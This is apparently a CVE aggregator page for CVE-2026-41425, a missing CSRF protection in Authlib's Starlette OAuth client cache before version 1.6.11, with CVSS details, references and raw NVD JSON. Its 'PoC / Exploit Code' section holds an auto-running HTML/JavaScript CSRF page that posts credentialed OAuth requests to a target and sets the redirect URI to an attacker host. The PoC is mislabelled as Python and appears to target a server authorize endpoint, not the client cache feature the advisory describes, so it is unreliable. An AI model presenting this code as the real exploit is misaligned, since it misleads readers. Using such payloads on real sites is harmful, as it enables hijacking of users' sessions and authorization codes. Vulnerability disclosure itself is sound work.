CVE-2026-41425

Description

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starlette_client.OAuth. This vulnerability is fixed in 1.6.11.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:authlib:authlib:*:*:*:*:*:*:*:* - VULNERABLE

Authlib < 1.6.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC Concept for CVE-2026-41425 -->
<!-- Attacker hosts this HTML to exploit the CSRF vulnerability -->
<html>
  <body>
    <h1>Loading...</h1>
    <script>
      function exploit() {
        // The vulnerable endpoint URL (example)
        var targetUrl = 'https://target.com/oauth/authorize';
        
        // Payload to exploit the cache feature without CSRF token
        var params = new URLSearchParams();
        params.append('client_id', 'malicious_app_id');
        params.append('response_type', 'code');
        params.append('redirect_uri', 'https://attacker.com/callback');
        params.append('state', 'bypass_cache_check');

        fetch(targetUrl, {
          method: 'POST',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body: params.toString()
        }).then(response => console.log('Request sent'));
      }
      
      window.onload = exploit;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41425
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41425
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41425/
[4] VulDB https://vuldb.com/cve/CVE-2026-41425
[5] https://github.com/authlib/authlib/security/advisories/GHSA-jj8c-mmj3-mmgv
[6] https://github.com/authlib/authlib/security/advisories/GHSA-jj8c-mmj3-mmgv

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41425", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:27.107", "lastModified": "2026-04-28T18:18:26.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starlette_client.OAuth. This vulnerability is fixed in 1.6.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:authlib:authlib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.11", "matchCriteriaId": "1B4A35D6-9096-4D0B-8773-E6B16388069F"}]}]}], "references": [{"url": "https://github.com/authlib/authlib/security/advisories/GHSA-jj8c-mmj3-mmgv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/authlib/authlib/security/advisories/GHSA-jj8c-mmj3-mmgv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}